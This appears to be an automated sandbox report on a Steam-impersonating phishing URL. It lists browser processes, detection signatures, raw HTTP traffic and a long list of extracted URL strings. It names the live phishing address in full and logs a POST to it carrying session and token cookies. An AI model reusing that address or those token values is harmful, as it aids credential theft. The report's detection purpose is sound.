Edit tour

Windows Analysis Report
https://sneamcomnnumnlty.com/hfjf748934924/geting/put

Overview

General Information

Sample URL:	https://sneamcomnnumnlty.com/hfjf748934924/geting/put
Analysis ID:	1527679
Tags:	openphish
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4924 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1988 --field-trial-handle=1904,i,15395976492508562252,10089100898454168683,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1396 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sneamcomnnumnlty.com/hfjf748934924/geting/put" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7128 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6644 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2068 --field-trial-handle=2004,i,14189078209068578430,5965546534176929648,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6284 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s.team/q/1/2248518814943508887 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5692 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2016 --field-trial-handle=1948,i,13301017682088754605,4974563853108499840,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

HTTP traffic detected: POST /721d7f512e080159550c070f035d0c00565a05561450220103430b5c55160272461145 HTTP/1.1Host: sneamcomnnumnlty.comConnection: keep-aliveContent-Length: 78Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.MOlHHgI6p8xxSnoV1cI2Z9L1a-GFOrfU.C-V_ugttOowzCm9y.SFg0RklYU8UoqIKEDpm9zydFbeB3Z-O2Z92huwcwRlDAkGEIdAqaPyPe-1k5wfq1oaAYkj9tNAT25YbYvo_5daiVZIs_f3X5SSqXIkh-FJS2GMr7q_GeT1BXc6k7wVlKNW9aLA7xBD1vblF07Yn_gHqiHSDsjOJrI1NuDbAzjh8VhgeCTLt3qcI8BkvqV9DMzySiKx77hWHK4WxzYn-Y_7TMJdOCCmnCeQX3XieZUPidY2AcFkPid3CBdqo.ebEFj8Ye00GZPYTIzE3-Ow; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6ODUsInNlY3JldCI6IjZkMTBjOWIxM2ZhODdlNTNiYzdiMWJkZmY3YjIyMzA0Iiwic2VydmljZSI6IlN0ZWFtIn0.qKJ-QMVd1Mpks51lieRtA8L1pcwabxsxLWWN5yq_i5I; accessToken=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.FqIuhJWonROZ6dAoZUtqwmnhRFjGL9Hu.J_ticQ68Ss1dwbiT.04b5rDuCc1FH4fbOPV1lYSN1FTziFQE8cNodrfcmuOu7kVho7BWmOv_P3IKhqLoJLgjzkX7gOmOSsbUtaG46XrO1.qhVJHHtnsMhHTce6gpngrg

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 07 Oct 2024 06:47:07 GMTContent-Type: application/json; charset=utf-8Transfer-Encoding: chunkedConnection: closeCross-Origin-Opener-Policy: same-originCross-Origin-Resource-Policy: same-originEtag: W/"41-0AeMVzV1pApYTMktTMxeiuYqqUg"Origin-Agent-Cluster: ?1Referrer-Policy: no-referrerStrict-Transport-Security: max-age=15552000; includeSubDomainsVary: Accept-EncodingX-Content-Type-Options: nosniffX-Dns-Prefetch-Control: offX-Download-Options: noopenX-Frame-Options: SAMEORIGINX-Permitted-Cross-Domain-Policies: noneX-Xss-Protection: 0Cache-Control: max-age=14400CF-Cache-Status: EXPIREDReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G5uZ5CgfKPBc2Cm0BMNpgmy0aSe3iZ%2B3BvTmp%2BaMzcg4gRu%2BdU2R0%2FKrwtcd53q4lWRYq%2B0LBvKwj%2FJOxziOB%2BkgEpoRuQLB8duffbka4i5FpwAH4p%2Ff1i4rgnbcNRT2LhPLtAQO8Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8cebf01f3f950f64-EWR

Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/accordion/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/autocomplete/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/blind-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/bounce-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/button/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/category/effects-core/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/category/ui-core/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/clip-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/datepicker/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/dialog/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/draggable/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/drop-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/droppable/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/explode-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/fade-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/fold-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/highlight-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/jQuery.widget/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/menu/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/mouse/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/position/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/progressbar/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/puff-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/pulsate-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/resizable/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/scale-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/selectable/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/selectmenu
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/shake-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/size-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/slide-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/slider/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/sortable/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/spinner/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/tabs/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/tooltip/
Source: chromecache_261.2.dr	String found in binary or memory: http://api.jqueryui.com/transfer-effect/
Source: chromecache_261.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/11778
Source: chromecache_261.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/8235
Source: chromecache_261.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9413
Source: chromecache_261.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9413)
Source: chromecache_261.2.dr	String found in binary or memory: http://bugs.jquery.com/ticket/9917
Source: chromecache_261.2.dr	String found in binary or memory: http://bugs.jqueryui.com/ticket/7552
Source: chromecache_261.2.dr	String found in binary or memory: http://bugs.jqueryui.com/ticket/9446
Source: chromecache_493.2.dr, chromecache_314.2.dr	String found in binary or memory: http://github.com/kenwheeler/slick
Source: chromecache_493.2.dr, chromecache_314.2.dr	String found in binary or memory: http://github.com/kenwheeler/slick/issues
Source: chromecache_388.2.dr, chromecache_467.2.dr	String found in binary or memory: http://jedwatson.github.io/classnames
Source: chromecache_261.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_261.2.dr	String found in binary or memory: http://jqueryui.com
Source: chromecache_493.2.dr, chromecache_314.2.dr	String found in binary or memory: http://kenwheeler.github.io
Source: chromecache_493.2.dr, chromecache_314.2.dr	String found in binary or memory: http://kenwheeler.github.io/slick
Source: chromecache_372.2.dr, chromecache_384.2.dr, chromecache_461.2.dr	String found in binary or memory: http://sizzlejs.com/
Source: chromecache_311.2.dr, chromecache_357.2.dr, chromecache_387.2.dr, chromecache_368.2.dr, chromecache_351.2.dr, chromecache_446.2.dr, chromecache_440.2.dr, chromecache_363.2.dr, chromecache_296.2.dr, chromecache_361.2.dr, chromecache_360.2.dr, chromecache_395.2.dr, chromecache_209.2.dr	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/.
Source: chromecache_416.2.dr, chromecache_399.2.dr	String found in binary or memory: http://support.steampowered.com
Source: chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	String found in binary or memory: http://twitter.com/steam
Source: chromecache_444.2.dr, chromecache_244.2.dr	String found in binary or memory: http://www.dota2.com
Source: chromecache_372.2.dr, chromecache_384.2.dr, chromecache_461.2.dr	String found in binary or memory: http://www.prototypejs.org/
Source: chromecache_261.2.dr	String found in binary or memory: http://www.robertpenner.com/easing)
Source: chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	String found in binary or memory: http://www.steampowered.com/steamworks/
Source: chromecache_228.2.dr, chromecache_424.2.dr	String found in binary or memory: http://www.valvesoftware.com
Source: chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	String found in binary or memory: http://www.valvesoftware.com/about
Source: chromecache_381.2.dr	String found in binary or memory: http://www.valvesoftware.com/about.html
Source: chromecache_381.2.dr	String found in binary or memory: http://www.valvesoftware.com/jobs.html
Source: chromecache_381.2.dr, chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: chromecache_313.2.dr, chromecache_264.2.dr, chromecache_338.2.dr	String found in binary or memory: http://www.youworkforthem.com/designer/293/niramekko
Source: chromecache_313.2.dr, chromecache_264.2.dr, chromecache_338.2.dr	String found in binary or memory: http://www.youworkforthem.com/font-license
Source: chromecache_313.2.dr, chromecache_264.2.dr, chromecache_338.2.dr	String found in binary or memory: http://www.youworkforthem.com/product.php?sku=T2982
Source: chromecache_261.2.dr	String found in binary or memory: https://bugs.webkit.org/show_bug.cgi?id=47182
Source: chromecache_261.2.dr	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=561664
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/client/installer/SteamSetup.exe
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/client/installer/steam.deb
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/client/installer/steam.dmg
Source: chromecache_315.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steam/
Source: chromecache_381.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/2429640/2f68e286764ecc7774825d4
Source: chromecache_381.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/570/0bbb630d63262dd66d2fdd0f7d3
Source: chromecache_381.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/578080/609f27278aa70697c13bf99f
Source: chromecache_381.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/730/8dbc71957312bbd3baea65848b5
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store//about/logo_steam.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_community.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_community_pt1.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_community_pt2.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_community_pt3.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_hardware.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_hardware_pt1.png?v=2
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_hardware_pt2.png?v=2
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_steamworks.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_steamworks_pt1.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/cta_hero_steamworks_pt2.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-broadcasts.svg
Source: chromecache_350.2.dr, chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-chromeos.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-controllers.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-earlyaccess.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-gamehubs.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-languages.svg
Source: chromecache_350.2.dr, chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-macos.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-payment.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-steamchat.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-steammobile.svg
Source: chromecache_350.2.dr, chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-steamos.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-steamworkshop.svg
Source: chromecache_350.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/icon-windows.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/logo-steamworks.svg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/social-og.jpg
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.mp4
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.png
Source: chromecache_201.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/about/videos/about_hero_loop_web.webm
Source: chromecache_383.2.dr, chromecache_369.2.dr, chromecache_300.2.dr	String found in binary or memory: https://cdn.akamai.steamstatic.com/store/promo/summer2020/tiling_orange.png?v=2
Source: chromecache_219.2.dr	String found in binary or memory: https://checkout.steampowered.com/checkout/submitproofofpurchase
Source: chromecache_347.2.dr, chromecache_359.2.dr, chromecache_236.2.dr	String found in binary or memory: https://checkout.steampowered.com/parental/ajaxlock
Source: chromecache_270.2.dr, chromecache_441.2.dr, chromecache_240.2.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_270.2.dr, chromecache_441.2.dr, chromecache_240.2.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_261.2.dr	String found in binary or memory: https://code.google.com/p/maashaack/source/browse/packages/graphics/trunk/src/graphics/colors/HUE2RG
Source: chromecache_347.2.dr, chromecache_359.2.dr, chromecache_236.2.dr, chromecache_277.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: chromecache_388.2.dr, chromecache_467.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: chromecache_388.2.dr, chromecache_467.2.dr	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: chromecache_388.2.dr, chromecache_467.2.dr	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: chromecache_463.2.dr, chromecache_385.2.dr	String found in binary or memory: https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer
Source: chromecache_463.2.dr, chromecache_385.2.dr	String found in binary or memory: https://developer.mozilla.org/en/JavaScript_typed_arrays/Uint8Array
Source: chromecache_219.2.dr	String found in binary or memory: https://developers.google.com/analytics/devguides/collection/analyticsjs/single-page-applications
Source: chromecache_270.2.dr, chromecache_441.2.dr, chromecache_240.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_270.2.dr, chromecache_441.2.dr, chromecache_240.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_270.2.dr, chromecache_441.2.dr, chromecache_240.2.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_214.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansBold.woff.woff)
Source: chromecache_214.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff)
Source: chromecache_214.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff)
Source: chromecache_214.2.dr	String found in binary or memory: https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff)
Source: chromecache_261.2.dr	String found in binary or memory: https://github.com/jquery/jquery-color
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/bg/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/cs/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/da/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/de/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/el/
Source: chromecache_381.2.dr, chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: chromecache_201.2.dr, chromecache_228.2.dr, chromecache_424.2.dr	String found in binary or memory: https://help.steampowered.com/en/?snr=1_44_44_
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/es-419/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/es/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/fi/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/fr/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/hu/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/id/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/it/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/ja/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/ko/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/nl/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/no/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/pl/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/pt-br/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/pt/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/css/help.css?v=Oj5GobEHmQBs
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/images/footerLogo_valve_new.png
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/buttons.css?v=JANZnwhiqvxS
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/motiva_sans.css?v=zaLmG4UPg8fx
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/shared_global.css?v=g5jYek09HZX0
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/shared_responsive.css?v=exm1WeGiLGq1
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/css/store_game_shared.css?v=asqYjidEi-mm
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Black.ttf?v=4.015
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Bold.ttf?v=4.015
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-BoldItalic.ttf?v=4.015
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-LightItalic.ttf?v=4.015
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Medium.ttf?v=4.015
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-RegularItalic.ttf?v=4.015
Source: chromecache_264.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/fonts/MotivaSans-Thin.ttf?v=4.015
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_airelement_1-2.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_airelement_3-4.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_airelement_5-6.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_airelement_7-8.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_airelement_9-10.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_angle.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_arrows.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_books.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_chevrons.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_circle2.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_crystals.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_earthelement.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_fireelement.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_flag.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_geo_1-2.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_geo_3-4.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_geo_5-6.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_geo_7-8.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_geo_9-10.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_hexagons.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_mandala_1-2.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_mandala_3-4.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_mandala_5-6.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_mandala_7-8.png?v=2
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_shields.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_space.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_waterelement.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/community/levels_wings.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/friendindicator_small.png
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/header/logo_steam.svg?t=962016
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/login/throbber.gif
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/popups/btn_arrow_down.png
Source: chromecache_330.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/popups/btn_arrow_down_padded.png
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/header_logo.png
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/header_menu_hamburger.png
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/logo_valve_footer.png
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/public/shared/images/responsive/steam_share_image.jpg
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/ro/
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/ru/
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/ru//wizard/HelpWithPurchase
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/getmenuactions/
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/getrsakey/
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/logout/
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/rendercaptcha/?gid=
Source: chromecache_219.2.dr	String found in binary or memory: https://help.steampowered.com/ru/login/setlanguage/
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/javascript/base64-binary.js?v=RSKiJSIiCI4Y
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/javascript/help.js?v=EvTxp2gPAIRv
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/dselect.js?v=sjouo3-33Gox
Source: chromecache_381.2.dr	String found in binary or memory: https://help.steampowered.com/ru/public/shared/javascript/jquery-1.8.3.min.js?v=.TZ2NKhB-nliU
